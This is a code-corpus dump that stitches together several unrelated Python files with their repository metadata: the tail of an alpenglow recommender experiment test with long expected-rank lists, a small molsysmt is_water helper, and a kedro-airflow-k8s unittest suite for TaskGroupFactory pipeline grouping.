101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 42.0, 1.0, 10.0, 101.0, 101.0, 20.0, 101.0, 101.0, 101.0, 18.0, 87.0, 101.0, 92.0, 101.0, 101.0, 48.0, 3.0, 101.0, 77.0, 25.0, 75.0, 3.0, 80.0, 10.0, 101.0, 101.0, 101.0, 101.0, 89.0, 101.0, 66.0, 101.0, 6.0, 101.0, 52.0, 83.0, 101.0, 101.0, 56.0, 24.0, 26.0, 38.0, 101.0, 101.0, 16.0, 58.0, 15.0, 31.0, 101.0, 26.0, 101.0, 76.0, 72.0, 12.0, 7.0, 50.0, 24.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 32.0, 101.0, 101.0, 101.0, 52.0, 95.0, 3.0, 101.0, 98.0, 94.0, 101.0, 22.0, 101.0, 101.0, 25.0, 101.0, 3.0, 83.0, 2.0, 101.0, 25.0, 9.0, 27.0, 101.0, 37.0, 12.0, 101.0, 101.0, 64.0, 101.0, 101.0, 101.0, 101.0, 26.0, 50.0, 5.0, 101.0, 101.0, 66.0, 101.0, 45.0, 11.0, 101.0, 7.0, 101.0, 34.0, 101.0, 1.0, 98.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 4.0, 101.0, 10.0, 10.0, 101.0, 101.0, 101.0, 101.0, 31.0, 6.0, 101.0, 101.0, 101.0, 7.0, 54.0, 12.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 6.0, 101.0, 101.0, 45.0, 101.0, 101.0, 22.0, 101.0, 101.0, 45.0, 101.0, 101.0, 89.0, 101.0, 101.0, 101.0, 30.0, 3.0, 20.0, 101.0, 3.0, 10.0, 101.0, 16.0, 101.0, 101.0, 101.0, 25.0, 94.0, 16.0, 101.0, 101.0, 101.0, 4.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 31.0, 101.0, 101.0, 53.0, 3.0, 101.0, 2.0, 2.0, 101.0, 43.0, 101.0, 26.0, 36.0, 101.0, 101.0, 5.0, 5.0, 101.0, 21.0, 3.0, 3.0, 5.0, 37.0, 47.0, 101.0, 101.0, 35.0, 12.0, 101.0, 23.0, 101.0, 28.0, 101.0, 7.0, 82.0, 26.0, 101.0, 101.0, 20.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 2.0, 10.0, 80.0, 72.0, 26.0, 101.0, 38.0, 48.0, 10.0, 101.0, 65.0, 101.0, 4.0, 101.0, 12.0, 101.0, 50.0, 101.0, 101.0, 101.0, 101.0, 101.0, 3.0, 7.0, 101.0, 10.0, 14.0, 78.0, 97.0, 6.0, 1.0, 8.0, 15.0, 29.0, 3.0, 101.0, 96.0, 46.0, 32.0, 101.0, 12.0, 58.0, 101.0, 101.0, 53.0, 52.0, 4.0, 25.0, 70.0, 99.0, 14.0, 25.0, 38.0, 3.0, 1.0, 101.0, 1.0, 101.0, 101.0, 101.0, 101.0, 101.0, 90.0, 1.0, 101.0, 101.0, 101.0, 4.0, 101.0, 100.0, 44.0, 22.0, 56.0, 42.0, 101.0, 65.0, 100.0, 35.0, 7.0, 101.0, 101.0, 101.0, 88.0, 101.0, 2.0, 58.0, 101.0, 33.0, 8.0, 1.0, 37.0, 93.0, 101.0, 3.0, 36.0, 17.0, 20.0, 62.0, 1.0, 35.0, 101.0, 4.0, 77.0, 17.0, 101.0, 101.0, 1.0, 101.0, 101.0, 28.0, 101.0, 101.0, 19.0, 101.0, 37.0, 18.0, 101.0, 1.0, 101.0, 101.0, 25.0, 35.0, 101.0, 19.0, 47.0, 42.0, 21.0, 101.0, 101.0, 88.0, 101.0, 9.0, 4.0, 101.0, 4.0, 101.0, 3.0, 87.0, 16.0, 14.0, 101.0, 101.0, 46.0, 13.0, 44.0, 101.0, 31.0, 101.0, 101.0, 101.0, 1.0, 101.0, 57.0, 101.0, 85.0, 1.0, 91.0, 101.0, 101.0, 101.0, 101.0, 42.0, 33.0, 101.0, 101.0, 54.0, 16.0, 28.0, 101.0, 15.0, 15.0, 56.0, 101.0, 101.0, 101.0, 9.0, 101.0, 3.0, 101.0, 12.0, 9.0, 16.0, 5.0, 11.0, 2.0, 16.0, 101.0, 1.0, 101.0, 14.0, 66.0, 25.0, 28.0, 24.0, 5.0, 101.0, 93.0, 101.0, 18.0, 101.0, 101.0, 50.0, 10.0, 32.0, 30.0, 101.0, 18.0, 101.0, 17.0, 4.0, 8.0, 40.0, 36.0, 101.0, 38.0, 101.0, 2.0, 24.0, 8.0, 101.0, 101.0, 5.0, 101.0, 101.0, 8.0, 101.0, 6.0, 27.0, 101.0, 101.0, 90.0, 16.0, 84.0, 12.0, 101.0, 101.0, 23.0, 26.0, 101.0, 2.0, 101.0, 34.0, 43.0, 37.0, 17.0, 35.0, 2.0, 9.0, 5.0, 6.0, 28.0, 101.0, 29.0, 11.0, 5.0, 86.0, 8.0, 28.0, 7.0, 31.0, 11.0, 1.0, 12.0, 101.0, 30.0, 31.0, 101.0, 14.0, 101.0, 76.0, 5.0, 101.0, 13.0, 101.0, 43.0, 2.0, 2.0, 22.0, 47.0, 93.0, 48.0, 101.0, 11.0, 101.0, 101.0, 1.0, 7.0, 101.0, 4.0, 82.0, 17.0, 101.0, 22.0, 35.0, 35.0, 17.0, 101.0, 6.0, 101.0, 101.0, 29.0, 24.0, 101.0, 91.0, 101.0, 2.0, 2.0, 3.0, 101.0, 22.0, 21.0, 15.0, 8.0, 12.0, 19.0, 25.0, 17.0, 19.0, 96.0, 101.0, 21.0, 11.0, 46.0, 4.0, 1.0, 101.0, 101.0, 49.0, 17.0, 13.0, 1.0, 43.0, 101.0, 2.0, 1.0, 94.0, 56.0, 6.0, 40.0, 2.0, 101.0, 101.0, 22.0, 4.0, 28.0, 1.0, 101.0, 13.0, 30.0, 101.0, 101.0, 1.0, 39.0, 23.0, 12.0, 17.0, 7.0, 101.0, 5.0, 22.0, 2.0, 24.0, 101.0, 101.0, 76.0, 35.0, 46.0, 101.0, 16.0, 7.0, 68.0, 101.0, 31.0, 4.0, 6.0, 16.0, 9.0, 101.0, 101.0, 27.0, 9.0, 3.0, 1.0, 7.0, 29.0, 16.0, 3.0, 101.0, 10.0, 3.0, 101.0, 1.0, 2.0, 35.0, 101.0, 1.0, 36.0, 40.0, 2.0, 25.0, 1.0, 101.0, 101.0, 101.0, 101.0, 101.0, 18.0, 17.0, 1.0, 101.0, 9.0, 25.0, 13.0, 12.0, 101.0, 3.0, 101.0, 25.0, 101.0, 46.0, 62.0, 101.0, 101.0, 5.0, 5.0, 6.0, 14.0, 101.0, 101.0, 28.0, 11.0, 41.0, 24.0, 3.0, 68.0, 7.0, 9.0, 101.0, 101.0, 98.0, 101.0, 101.0, 101.0, 11.0, 14.0, 31.0, 32.0, 22.0, 101.0, 2.0, 20.0, 23.0, 101.0, 23.0, 20.0, 1.0, 9.0, 31.0, 16.0, 11.0, 4.0, 34.0, 6.0, 101.0, 101.0, 37.0, 4.0, 15.0, 1.0, 101.0, 12.0, 15.0, 5.0, 101.0, 24.0, 5.0, 5.0, 31.0, 100.0, 38.0, 101.0, 11.0, 8.0, 28.0, 101.0, 34.0, 101.0, 101.0, 16.0, 11.0, 22.0, 13.0, 20.0, 101.0, 12.0, 101.0, 101.0, 101.0, 101.0, 101.0, 20.0, 23.0, 11.0, 101.0, 42.0, 3.0, 101.0, 12.0, 101.0, 16.0, 2.0, 9.0, 9.0, 101.0, 101.0, 101.0, 40.0, 101.0, 101.0, 16.0, 101.0, 21.0, 101.0, 10.0, 12.0, 1.0, 4.0, 5.0, 35.0, 1.0, 101.0, 97.0, 5.0, 21.0, 9.0, 101.0, 101.0, 28.0, 32.0, 101.0, 16.0, 10.0, 27.0, 2.0, 44.0, 101.0, 27.0, 5.0, 29.0, 101.0, 22.0, 39.0, 12.0, 2.0, 58.0, 1.0, 10.0, 37.0, 12.0, 101.0, 2.0, 6.0, 10.0, 92.0, 23.0, 2.0, 101.0, 1.0, 1.0, 62.0, 101.0, 16.0, 22.0, 26.0, 41.0, 101.0, 101.0, 101.0] if(compiler == "gcc" and stdlib == "libstdc++"): assert list(rankings["rank"].fillna(101)) == desired_ranks assert DcgScore(rankings).mean() == pytest.approx(0.15820316053460715, abs=5*1e-3) def test_batchFactorExperiment_timeframe(self): data = pd.read_csv( "python/test_alpenglow/test_data_4", sep=' ', header=None, names=['time', 'user', 'item', 'id', 'score', 'eval'] ) sbExperiment = alpenglow.experiments.BatchFactorExperiment( top_k=100, negative_rate=3, seed=254938879, period_length=1000, timeframe_length=2000 ) rankings = sbExperiment.run(data, verbose=True, exclude_known=True) assert rankings.top_k == 100 desired_ranks=[101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 42.0, 1.0, 10.0, 101.0, 101.0, 20.0, 101.0, 101.0, 101.0, 18.0, 87.0, 101.0, 92.0, 101.0, 101.0, 48.0, 3.0, 101.0, 77.0, 25.0, 75.0, 3.0, 80.0, 10.0, 101.0, 101.0, 101.0, 101.0, 89.0, 101.0, 66.0, 101.0, 6.0, 101.0, 52.0, 83.0, 101.0, 101.0, 56.0, 24.0, 26.0, 38.0, 101.0, 101.0, 16.0, 58.0, 15.0, 31.0, 101.0, 26.0, 101.0, 76.0, 72.0, 12.0, 7.0, 50.0, 24.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 32.0, 101.0, 101.0, 101.0, 52.0, 95.0, 3.0, 101.0, 98.0, 94.0, 101.0, 22.0, 101.0, 101.0, 25.0, 101.0, 3.0, 83.0, 2.0, 101.0, 25.0, 9.0, 27.0, 101.0, 37.0, 12.0, 101.0, 101.0, 64.0, 101.0, 101.0, 101.0, 101.0, 26.0, 50.0, 5.0, 101.0, 101.0, 66.0, 101.0, 45.0, 11.0, 101.0, 7.0, 101.0, 34.0, 101.0, 1.0, 98.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 4.0, 101.0, 10.0, 10.0, 101.0, 101.0, 101.0, 101.0, 31.0, 6.0, 101.0, 101.0, 101.0, 7.0, 54.0, 12.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 6.0, 101.0, 101.0, 45.0, 101.0, 101.0, 22.0, 101.0, 101.0, 45.0, 101.0, 101.0, 89.0, 101.0, 101.0, 101.0, 30.0, 3.0, 20.0, 101.0, 3.0, 10.0, 101.0, 16.0, 101.0, 101.0, 101.0, 25.0, 94.0, 16.0, 101.0, 101.0, 101.0, 4.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 31.0, 101.0, 101.0, 53.0, 3.0, 101.0, 2.0, 2.0, 101.0, 43.0, 101.0, 26.0, 36.0, 101.0, 101.0, 5.0, 5.0, 101.0, 21.0, 3.0, 3.0, 5.0, 37.0, 47.0, 101.0, 101.0, 35.0, 12.0, 101.0, 23.0, 101.0, 28.0, 101.0, 7.0, 82.0, 26.0, 101.0, 101.0, 20.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 2.0, 10.0, 80.0, 72.0, 26.0, 101.0, 38.0, 48.0, 10.0, 101.0, 65.0, 101.0, 4.0, 101.0, 12.0, 101.0, 50.0, 101.0, 101.0, 101.0, 101.0, 101.0, 3.0, 7.0, 101.0, 10.0, 14.0, 78.0, 97.0, 6.0, 1.0, 8.0, 15.0, 29.0, 3.0, 101.0, 96.0, 46.0, 32.0, 101.0, 12.0, 58.0, 101.0, 101.0, 53.0, 52.0, 4.0, 25.0, 70.0, 99.0, 14.0, 25.0, 38.0, 3.0, 1.0, 101.0, 1.0, 101.0, 101.0, 101.0, 101.0, 101.0, 90.0, 1.0, 101.0, 101.0, 101.0, 4.0, 101.0, 100.0, 44.0, 22.0, 56.0, 42.0, 101.0, 65.0, 100.0, 35.0, 7.0, 101.0, 101.0, 101.0, 88.0, 101.0, 2.0, 58.0, 101.0, 33.0, 8.0, 1.0, 37.0, 93.0, 101.0, 3.0, 36.0, 17.0, 20.0, 62.0, 1.0, 35.0, 101.0, 4.0, 77.0, 17.0, 101.0, 101.0, 1.0, 101.0, 101.0, 28.0, 101.0, 101.0, 19.0, 101.0, 37.0, 18.0, 101.0, 1.0, 101.0, 101.0, 25.0, 35.0, 101.0, 19.0, 47.0, 42.0, 21.0, 101.0, 101.0, 88.0, 101.0, 9.0, 4.0, 101.0, 4.0, 101.0, 3.0, 87.0, 16.0, 14.0, 101.0, 101.0, 46.0, 13.0, 44.0, 101.0, 31.0, 101.0, 101.0, 101.0, 1.0, 101.0, 57.0, 101.0, 85.0, 1.0, 91.0, 101.0, 101.0, 101.0, 101.0, 42.0, 22.0, 101.0, 101.0, 55.0, 9.0, 15.0, 101.0, 16.0, 63.0, 44.0, 101.0, 101.0, 64.0, 10.0, 101.0, 4.0, 101.0, 11.0, 2.0, 94.0, 43.0, 19.0, 13.0, 11.0, 101.0, 1.0, 101.0, 20.0, 39.0, 51.0, 53.0, 13.0, 5.0, 101.0, 46.0, 101.0, 73.0, 101.0, 101.0, 101.0, 75.0, 36.0, 17.0, 101.0, 101.0, 101.0, 101.0, 1.0, 4.0, 101.0, 72.0, 35.0, 101.0, 101.0, 6.0, 15.0, 3.0, 101.0, 101.0, 24.0, 101.0, 101.0, 37.0, 101.0, 32.0, 83.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 25.0, 13.0, 101.0, 6.0, 101.0, 63.0, 34.0, 23.0, 96.0, 25.0, 3.0, 83.0, 13.0, 2.0, 17.0, 101.0, 25.0, 31.0, 1.0, 96.0, 2.0, 72.0, 4.0, 101.0, 2.0, 4.0, 94.0, 101.0, 101.0, 95.0, 101.0, 37.0, 101.0, 83.0, 2.0, 101.0, 12.0, 101.0, 101.0, 2.0, 2.0, 58.0, 101.0, 42.0, 23.0, 101.0, 23.0, 101.0, 101.0, 1.0, 13.0, 101.0, 7.0, 101.0, 25.0, 101.0, 16.0, 94.0, 67.0, 21.0, 101.0, 6.0, 101.0, 101.0, 17.0, 26.0, 101.0, 101.0, 101.0, 6.0, 14.0, 10.0, 101.0, 22.0, 101.0, 9.0, 54.0, 79.0, 72.0, 36.0, 79.0, 101.0, 101.0, 26.0, 101.0, 22.0, 57.0, 7.0, 4.0, 101.0, 101.0, 24.0, 23.0, 33.0, 2.0, 101.0, 101.0, 3.0, 4.0, 32.0, 29.0, 54.0, 25.0, 9.0, 101.0, 101.0, 12.0, 11.0, 16.0, 1.0, 101.0, 86.0, 13.0, 101.0, 101.0, 6.0, 49.0, 13.0, 92.0, 19.0, 10.0, 101.0, 2.0, 35.0, 3.0, 25.0, 101.0, 85.0, 101.0, 75.0, 84.0, 101.0, 29.0, 5.0, 101.0, 46.0, 14.0, 10.0, 43.0, 28.0, 10.0, 101.0, 101.0, 89.0, 20.0, 4.0, 7.0, 18.0, 43.0, 28.0, 46.0, 101.0, 7.0, 3.0, 101.0, 1.0, 11.0, 20.0, 101.0, 3.0, 99.0, 101.0, 9.0, 23.0, 4.0, 101.0, 101.0, 101.0, 101.0, 101.0, 8.0, 42.0, 43.0, 101.0, 5.0, 16.0, 17.0, 12.0, 101.0, 51.0, 58.0, 65.0, 101.0, 101.0, 101.0, 101.0, 101.0, 14.0, 14.0, 25.0, 26.0, 101.0, 101.0, 69.0, 18.0, 79.0, 38.0, 9.0, 101.0, 28.0, 9.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 8.0, 30.0, 32.0, 2.0, 35.0, 101.0, 9.0, 2.0, 29.0, 101.0, 19.0, 14.0, 6.0, 22.0, 21.0, 12.0, 2.0, 4.0, 101.0, 5.0, 101.0, 101.0, 82.0, 97.0, 17.0, 4.0, 101.0, 57.0, 13.0, 12.0, 101.0, 10.0, 16.0, 9.0, 13.0, 101.0, 68.0, 101.0, 12.0, 17.0, 33.0, 101.0, 81.0, 101.0, 101.0, 12.0, 16.0, 47.0, 19.0, 85.0, 101.0, 2.0, 101.0, 101.0, 101.0, 101.0, 101.0, 33.0, 33.0, 15.0, 101.0, 101.0, 12.0, 101.0, 8.0, 101.0, 30.0, 1.0, 11.0, 22.0, 87.0, 101.0, 101.0, 101.0, 101.0, 101.0, 18.0, 101.0, 38.0, 101.0, 15.0, 20.0, 3.0, 1.0, 1.0, 97.0, 1.0, 101.0, 34.0, 7.0, 62.0, 5.0, 101.0, 101.0, 60.0, 101.0, 101.0, 2.0, 12.0, 59.0, 9.0, 101.0, 101.0, 30.0, 8.0, 38.0, 96.0, 90.0, 76.0, 25.0, 8.0, 101.0, 5.0, 5.0, 101.0, 33.0, 101.0, 8.0, 33.0, 18.0, 101.0, 5.0, 6.0, 101.0, 6.0, 1.0, 100.0, 101.0, 1.0, 17.0, 48.0, 41.0, 101.0, 101.0, 101.0] if(compiler == "gcc" and stdlib == "libstdc++"): assert list(rankings["rank"].fillna(101)) == desired_ranks assert DcgScore(rankings).mean() == pytest.approx(0.14411975824368886, abs=5*1e-3)

244.316667

6,412

0.540214

4,206

14,659

1.875654

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null

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2050aa8bac776e58ed5ba2889a0c9baf715042ff

93

py

Python

molsysmt/element/group/water/is_water.py

uibcdf/MolModMTs

4f6b6f671a9fa3e73008d1e9c48686d5f20a6573

[ "MIT" ]

null

molsysmt/element/group/water/is_water.py

uibcdf/MolModMTs

4f6b6f671a9fa3e73008d1e9c48686d5f20a6573

[ "MIT" ]

null

molsysmt/element/group/water/is_water.py

uibcdf/MolModMTs

4f6b6f671a9fa3e73008d1e9c48686d5f20a6573

[ "MIT" ]

null

from .water_names import water_names def is_water(name): return (name in water_names)

13.285714

36

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6456e19ef101c94eb29c8431634af7137cd1ed87

12,609

py

Python

tests/test_task_group_factory.py

lmaczulajtys/kedro-airflow-k8s

335e301acf340d6ab4a26f0e694cb854e2b49483

[ "Apache-2.0" ]

14

2021-03-08T10:17:33.000Z

2022-03-07T01:44:42.000Z

tests/test_task_group_factory.py

lmaczulajtys/kedro-airflow-k8s

335e301acf340d6ab4a26f0e694cb854e2b49483

[ "Apache-2.0" ]

48

2021-03-10T14:32:07.000Z

2022-03-14T07:34:38.000Z

tests/test_task_group_factory.py

lmaczulajtys/kedro-airflow-k8s

335e301acf340d6ab4a26f0e694cb854e2b49483

[ "Apache-2.0" ]

7

2021-03-05T13:07:21.000Z

2022-02-27T20:06:41.000Z

import unittest import pyspark from kedro.extras.datasets.pandas import CSVDataSet from kedro.extras.datasets.spark import SparkDataSet from kedro.io import DataCatalog from kedro.pipeline import Pipeline, node from kedro_airflow_k8s.task_group import TaskGroupFactory class TestTaskGroupFactory(unittest.TestCase): def test_empty_pipeline(self): pipeline = Pipeline(nodes=[]) data_catalog = DataCatalog(data_sets={}) task_groups = TaskGroupFactory().create(pipeline, data_catalog) assert len(task_groups) == 0 def test_create_dag_only_spark(self): pipeline = Pipeline( nodes=[ node( self, inputs=["sparkframe1"], outputs=["sparkframe2"], name="node1", ), node( self, inputs=["sparkframe2"], outputs=["sparkframe3"], name="node2", ), ] ) data_catalog = DataCatalog( data_sets={ "sparkframe1": SparkDataSet("/tmp/dummy1"), "sparkframe2": SparkDataSet("/tmp/dummy2"), "sparkframe3": SparkDataSet("/tmp/dummy3"), } ) task_groups = TaskGroupFactory().create(pipeline, data_catalog) assert len(task_groups) == 1 assert task_groups[0].group_type == "pyspark" assert len(task_groups[0].task_group) == 2 assert task_groups[0].name.startswith("pyspark_") assert len(task_groups[0].children) == 0 def test_create_dag_only_default(self): pipeline = Pipeline( nodes=[ node( self, inputs=["pandasframe1"], outputs=["pandasframe2"], name="node1", ), node( self, inputs=["pandasframe2"], outputs=["pandasframe3"], name="node2", ), ] ) data_catalog = DataCatalog( data_sets={ "pandasframe1": CSVDataSet("/tmp/dummy1"), "pandasframe2": CSVDataSet("/tmp/dummy2"), "pandasframe3": CSVDataSet("/tmp/dummy3"), } ) task_groups = TaskGroupFactory().create(pipeline, data_catalog) task_groups.sort(key=lambda x: x.name) assert len(task_groups) == 2 assert task_groups[0].group_type == "default" assert len(task_groups[0].task_group) == 1 assert task_groups[0].name.startswith("node1") assert len(task_groups[0].children) == 1 assert task_groups[1] in task_groups[0].children assert task_groups[1].group_type == "default" assert len(task_groups[1].task_group) == 1 assert task_groups[1].name.startswith("node2") assert len(task_groups[1].children) == 0 def test_create_dag_intermediate_spark_frames(self): def node2( input_param: pyspark.sql.dataframe.DataFrame, ) -> pyspark.sql.dataframe.DataFrame: pass pipeline = Pipeline( nodes=[ node( self, inputs=["sparkframe1"], outputs=["sparkframe2"], name="node1", ), node( node2, inputs=["sparkframe2"], outputs=["sparkframe3"], name="node2", ), node( self, inputs=["sparkframe3"], outputs=["sparkframe4"], name="node3", ), ] ) data_catalog = DataCatalog( data_sets={ "sparkframe1": SparkDataSet("/tmp/dummy1"), "sparkframe4": SparkDataSet("/tmp/dummy4"), } ) task_groups = TaskGroupFactory().create(pipeline, data_catalog) assert len(task_groups) == 1 assert task_groups[0].group_type == "pyspark" assert len(task_groups[0].task_group) == 3 assert task_groups[0].name.startswith("pyspark_") def test_create_dag_mixed_datasets(self): pipeline = Pipeline( nodes=[ node( self, inputs=["sparkframe1"], outputs=["sparkframe2"], name="node1", ), node( self, inputs=["sparkframe2"], outputs=["sparkframe3"], name="node2", ), node( self, inputs=["pandasframe1"], outputs=["pandasframe2"], name="node3", ), ] ) data_catalog = DataCatalog( data_sets={ "sparkframe1": SparkDataSet("/tmp/dummy1"), "sparkframe3": SparkDataSet("/tmp/dummy3"), "pandasframe1": CSVDataSet("/tmp/dummy4"), "pandasframe2": CSVDataSet("/tmp/dummy5"), } ) task_groups = TaskGroupFactory().create(pipeline, data_catalog) task_groups.sort(reverse=True, key=lambda x: x.name) assert len(task_groups) == 2 assert task_groups[0].group_type == "pyspark" assert len(task_groups[0].task_group) == 2 assert len(task_groups[0].children) == 0 assert task_groups[0].name.startswith("pyspark_") assert task_groups[1].group_type == "default" assert len(task_groups[1].task_group) == 1 assert task_groups[1].name == "node3" assert len(task_groups[1].children) == 0 def test_create_dag_interleaved_datasets(self): pipeline = Pipeline( nodes=[ node( self, inputs=["pandasframe0"], outputs=["sparkframe1"], name="node1", ), node( self, inputs=["sparkframe1", "pandasframe2"], outputs=["sparkframe2"], name="node2", ), node( self, inputs=["pandasframe1"], outputs=["pandasframe2"], name="node3", ), ] ) data_catalog = DataCatalog( data_sets={ "sparkframe1": SparkDataSet("/tmp/dummy1"), "sparkframe2": SparkDataSet("/tmp/dummy2"), "pandasframe0": CSVDataSet("/tmp/dummy3"), "pandasframe1": CSVDataSet("/tmp/dummy4"), "pandasframe2": CSVDataSet("/tmp/dummy5"), } ) task_groups = TaskGroupFactory().create(pipeline, data_catalog) task_groups.sort(reverse=True, key=lambda x: x.name) assert len(task_groups) == 2 assert task_groups[0].group_type == "pyspark" assert len(task_groups[0].task_group) == 2 assert task_groups[0] in task_groups[1].children assert task_groups[0].name.startswith("pyspark_") assert task_groups[1].group_type == "default" assert len(task_groups[1].task_group) == 1 assert task_groups[1].name == "node3" def test_create_dag_multiple_spark_subdags(self): pipeline = Pipeline( nodes=[ node( self, inputs=["sparkframe1"], outputs=["sparkframe2"], name="node1", ), node( self, inputs=["sparkframe2"], outputs=["pandasframe1"], name="node2", ), node( self, inputs=["pandasframe1"], outputs=["pandasframe2"], name="node3", ), node( self, inputs=["pandasframe2"], outputs=["sparkframe3"], name="node4", ), node( self, inputs=["sparkframe3"], outputs=["sparkframe4"], name="node5", ), ] ) data_catalog = DataCatalog( data_sets={ "sparkframe1": SparkDataSet("/tmp/dummy1"), "sparkframe2": SparkDataSet("/tmp/dummy2"), "pandasframe1": CSVDataSet("/tmp/dummy3"), "pandasframe2": CSVDataSet("/tmp/dummy4"), "pandasframe3": CSVDataSet("/tmp/dummy5"), "sparkframe3": SparkDataSet("/tmp/dummy6"), "sparkframe4": SparkDataSet("/tmp/dummy7"), } ) task_groups = TaskGroupFactory().create(pipeline, data_catalog) task_groups.sort(key=lambda x: x.name) assert len(task_groups) == 3 assert task_groups[0].group_type == "default" assert len(task_groups[0].task_group) == 1 assert task_groups[0].name == "node3" assert len(task_groups[0].children) == 1 assert task_groups[1].group_type == "pyspark" assert len(task_groups[1].task_group) == 2 assert task_groups[1].name.startswith("pyspark_") assert task_groups[2].group_type == "pyspark" assert len(task_groups[2].task_group) == 2 assert task_groups[2].name.startswith("pyspark_") assert task_groups[2].name != task_groups[1].name def test_create_dag_from_tags(self): pipeline = Pipeline( nodes=[ node( self, inputs=["pandasframe1"], outputs=["pandasframe2"], name="node3", tags=["kedro-airflow-k8s:group:pyspark"], ), node( self, inputs=["pandasframe2"], outputs=["pandasframe3"], name="node4", ), ] ) data_catalog = DataCatalog( data_sets={ "pandasframe1": CSVDataSet("/tmp/dummy1"), "pandasframe3": CSVDataSet("/tmp/dummy3"), } ) task_groups = TaskGroupFactory().create(pipeline, data_catalog) task_groups.sort(reverse=True, key=lambda x: x.name) assert len(task_groups) == 2 assert task_groups[0].group_type == "pyspark" assert len(task_groups[0].task_group) == 1 assert task_groups[1] in task_groups[0].children assert task_groups[0].name.startswith("pyspark_") assert task_groups[1].group_type == "default" assert len(task_groups[1].task_group) == 1 assert task_groups[1].name == "node4" def test_non_pyspark_dependency(self): pipeline = Pipeline( nodes=[ node( self, inputs=["sparkframe1"], outputs=["sparkframe2", "pandasframe1"], name="node1", ), node( self, inputs=["sparkframe2", "pandasframe2"], outputs=["sparkframe3"], name="node2", ), node( self, inputs=["pandasframe1"], outputs=["pandasframe2"], name="node3", ), ] ) data_catalog = DataCatalog( data_sets={ "sparkframe1": SparkDataSet("/tmp/dummy1"), "sparkframe2": SparkDataSet("/tmp/dummy2"), "pandasframe1": CSVDataSet("/tmp/dummy3"), "pandasframe2": CSVDataSet("/tmp/dummy4"), "sparkframe3": SparkDataSet("/tmp/dummy6"), } ) task_groups = TaskGroupFactory().create(pipeline, data_catalog) assert len(task_groups) == 1 assert task_groups[0].group_type == "pyspark" assert len(task_groups[0].task_group) == 3 assert task_groups[0].name.startswith("pyspark_")

33.624

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0.093867

0.825043

0.808348

0.783816

0.71891

0.704089

0.671891

0

0.030509

0.404711

12,609

374

72

33.713904

0.751532

0

0.75

0

0.126576

0.002459

0

0.183735

1

0.03012

false

0.003012

0.021084

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0.054217

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null

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1

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1

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null

0

7

64ba7430b48f3466100f38cd3c175a45283381e9

104,250

py

Python

validitysensor/generated_tables.py

Mstrodl/python-validity

bc3cee30246022c30205f6c425e6619e43641955

[ "MIT" ]

null

validitysensor/generated_tables.py

Mstrodl/python-validity

bc3cee30246022c30205f6c425e6619e43641955

[ "MIT" ]

null

validitysensor/generated_tables.py

Mstrodl/python-validity

bc3cee30246022c30205f6c425e6619e43641955

[ "MIT" ]

null

